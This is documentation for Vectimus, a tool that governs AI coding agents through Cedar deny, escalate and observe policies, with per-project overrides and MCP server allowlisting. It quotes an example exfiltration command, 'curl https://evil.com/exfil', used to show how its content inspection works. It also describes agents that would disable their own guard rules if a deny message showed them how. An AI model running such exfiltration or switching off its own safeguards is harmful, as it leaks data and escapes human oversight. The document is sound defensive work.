Skip to main content

Writing policies

Vectimus uses the Cedar policy language for governance rules. Each rule evaluates a normalised event and returns allow, deny or escalate.

Policy file format

Place .cedar files in your policy directory. Built-in policies are organized into 11 domain-based packs (destructive-ops, secrets, supply-chain, infrastructure, code-execution, data-exfiltration, file-integrity, database, git-safety, mcp-safety, agent-governance). Each file can contain multiple rules grouped by theme.

Annotations

Every rule should include:

  • @id("unique-id") — a unique identifier (must be unique across all packs)
  • @description("human readable text") — what the rule does
  • @incident("reference") — the real-world incident that motivated it (where applicable)
  • @controls("SOC2-CC6.1") — compliance controls it satisfies (where applicable)
  • @suggested_alternative("try this instead") — what the agent should do instead
  • @enforcement("deny") — how the policy responds when matched (see Enforcement levels below)

Duplicate @id values across packs will cause a load-time error. This is intentional: shadowed rules are a bug.

Enforcement levels

Each policy can specify how Vectimus responds when it matches. Add @enforcement to control the behaviour:

LevelBehaviourUse case
denyHard block. The agent cannot proceed.Default. Production safety rules.
escalateBlock with a descriptive message (local). Server mode can route to approval workflows.Rules you want flagged but not auto-blocked silently.
observeLog the match but allow the action through.Testing new rules before enforcing them.

If no @enforcement annotation is present the policy defaults to deny. All policies in the built-in domain packs ship as deny.

How escalation works

Local mode: Escalate blocks the action the same way deny does but with a [escalate] prefix in the message. The agent sees a clear reason and the user can run the command manually if they approve. This is a limitation of current AI tool hook APIs — Claude Code and Cursor do not reliably support interactive approval prompts from hooks.

Server mode: The server can implement real approval workflows before returning a decision. Route escalations to PagerDuty, Slack or an internal approval queue. The agent waits for the server response and proceeds only if approved.

The audit log records escalate decisions separately from deny so you can track which rules are candidates for approval workflows.

Example escalate policy

@id("custom-002")
@description("Flag writes to staging environment config")
@enforcement("escalate")
@suggested_alternative("Double-check the config values before writing.")
forbid (
    principal,
    action == Vectimus::Action::"file_write",
    resource
) when {
    context.file_path like "*staging*config*"
};

Overriding enforcement per-project

You can change enforcement without editing the Cedar file using the enforce subcommand with --level:

# Soften a deny to escalate for this project
vectimus rule enforce <rule-id> --level escalate

# Restore to deny
vectimus rule enforce <rule-id> --level deny

# Log only (observe mode for a single policy)
vectimus rule enforce <rule-id> --level observe

# Apply globally instead of per-project
vectimus rule enforce <rule-id> --level escalate --global

# Remove the override (revert to policy annotation)
vectimus rule enforce <rule-id> --clear

Resolution order: project-local override > global override > @enforcement annotation > deny default.

Example rule

@id("custom-001")
@description("Block writes to production database config")
@suggested_alternative("Propose config changes via a pull request for human review.")
forbid (
    principal,
    action == Vectimus::Action::"file_write",
    resource
) when {
    context.file_path like "*production*database*"
};

Action types

The normaliser maps tool-specific actions to these types:

Action typeDescription
shell_commandBash, terminal, shell execution
file_writeWrite, Edit, file creation
file_readRead, Grep, Glob, file access
web_requestWebFetch, curl, HTTP calls
mcp_toolAny MCP server tool invocation
package_operationnpm, pip, cargo operations
git_operationgit push, commit, branch operations
infrastructureterraform, kubectl, docker, cloud CLI
agent_spawnTask, subagent creation

Context fields

Policies can match on these context attributes:

FieldAvailable onDescription
context.commandshell_command, package_operation, infrastructure, mcp_toolShell command text
context.file_pathfile_write, file_read, mcp_toolTarget file path
context.urlweb_request, mcp_toolTarget URL
context.cwdallWorking directory
context.mcp_servermcp_toolMCP server name (from tool name)
context.mcp_toolmcp_toolMCP tool name (from tool name)
context.package_namepackage_operationPackage being installed/published

Content inspection

Your shell_command policies automatically apply to file writes and script execution. When an agent writes a file or runs a script (bash deploy.sh, python setup.py, ./run.sh), Vectimus extracts the content and evaluates each line against all shell_command policies.

This means a policy like this:

@id("custom-010")
@description("Block curl to external hosts")
@suggested_alternative("Use an approved API client.")
forbid (
    principal,
    action == Vectimus::Action::"shell_command",
    resource
) when {
    context.command like "curl *"
};

Will also block an agent that writes curl https://evil.com/exfil into a shell script and then runs it. No additional policy needed.

Content is capped at 32KB per file. Blank lines and comments (lines starting with #) are skipped. Unreadable files fail open. See the Architecture page for the full double-evaluation flow.

MCP tool policies

Vectimus intercepts the agent’s request to call an MCP tool before it is sent to the server. It does not observe what happens on the MCP server. Policies can inspect:

  1. Server name (context.mcp_server) — extracted from the tool name (e.g. mcp__github__create_issue yields github)
  2. Tool name (context.mcp_tool) — extracted from the tool name (e.g. create_issue)
  3. Input parameters (context.command, context.file_path, context.url) — whatever the agent passes as tool inputs

A tool that internally accesses credentials or writes to CI/CD pipelines without exposing that in its input parameters will not be caught. The most effective MCP control is server allowlisting.

Server allowlisting

By default, rule vectimus-mcp-001 blocks all MCP tool calls. Approve servers via the CLI:

vectimus mcp allow github
vectimus mcp allow slack

Or via environment variable:

export VECTIMUS_MCP_ALLOWED="github,slack,jira"

The loader rewrites vectimus-mcp-001 at load time with a Cedar unless clause listing approved servers. Unapproved servers are blocked regardless of tool name or input.

Input inspection (defence in depth)

Rules 032-036 check tool inputs for sensitive patterns on approved servers:

  • 032: Credential and secret paths in file_path
  • 033: Private key files in file_path
  • 034: CI/CD pipeline files in file_path
  • 035: Dangerous shell commands in command
  • 036: Governance config files in file_path

These rules catch recognisable patterns in tool parameters but cannot catch tools that do sensitive things without exposing it in their input schema.

Rule management

Users can disable individual rules globally or per-project via the CLI:

# Disable for current project only
vectimus rule disable custom-001

# Disable everywhere
vectimus rule disable custom-001 --global

Per-project overrides are stored in .vectimus/config.toml in the project root. Legacy overrides at ~/.vectimus/projects/ are still read as a fallback. See Getting started for the full precedence model.

Temporary disables

Need to turn off a rule while you scaffold something? Use --for to disable it for a set duration:

vectimus rule disable secret-in-env --for 30m
vectimus rule disable no-force-push --for 2h
vectimus rule disable custom-001 --for 1h30m

Temp disables live in daemon memory only. No config files are written. The rule re-enables automatically when the duration expires or the daemon restarts. This is fail-closed by design: if anything goes wrong the rule comes back.

The daemon auto-starts if it is not already running. Use vectimus rule list to see active temp disables with remaining time:

secret-in-env             base            Block secrets in env files         temp (24m)

To re-enable a temp-disabled rule early, use vectimus rule enable as normal. It clears both permanent and temporary disables.

Temp disables are per-project and cannot be combined with --global.

Deny messages and override hints

When a rule blocks an action, the deny reason shown to the agent must never include instructions on how to disable the rule. If the agent sees override instructions it will attempt to run vectimus rule disable itself. The built-in packs include a rule (vectimus-destops-006) that blocks agents from running vectimus CLI commands for exactly this reason.

Override hints should only appear on stderr, which is visible to the human operator but not parsed by the agent:

# stdout (agent-visible): clean deny reason only
print(json.dumps({"permissionDecision": "deny", "permissionDecisionReason": reason}))

# stderr (human-visible): override hints
print(f"vectimus: To disable for this project: vectimus rule disable {pid}", file=sys.stderr)
print(f"vectimus: To disable everywhere: vectimus rule disable {pid} --global", file=sys.stderr)

Custom policy packs

Custom packs can live in two locations:

Project-local (scoped to one project, version-controllable):

<project>/.vectimus/packs/my-team/
  pack.toml
  my-rules.cedar

Global (applies everywhere):

~/.vectimus/packs/my-team/
  pack.toml
  my-rules.cedar

The pack.toml manifest:

[pack]
name = "my-team"
version = "1.0.0"
description = "Team-specific governance rules"
author = "My Team"

Packs are automatically discovered and loaded on the next evaluation. Rule IDs must be globally unique across all packs — duplicates cause a load-time error.

Testing policies

Use vectimus test to validate your policies against sample events. You can also provide a custom JSON file:

vectimus test --file my-test-events.json --policy-dir ./my-policies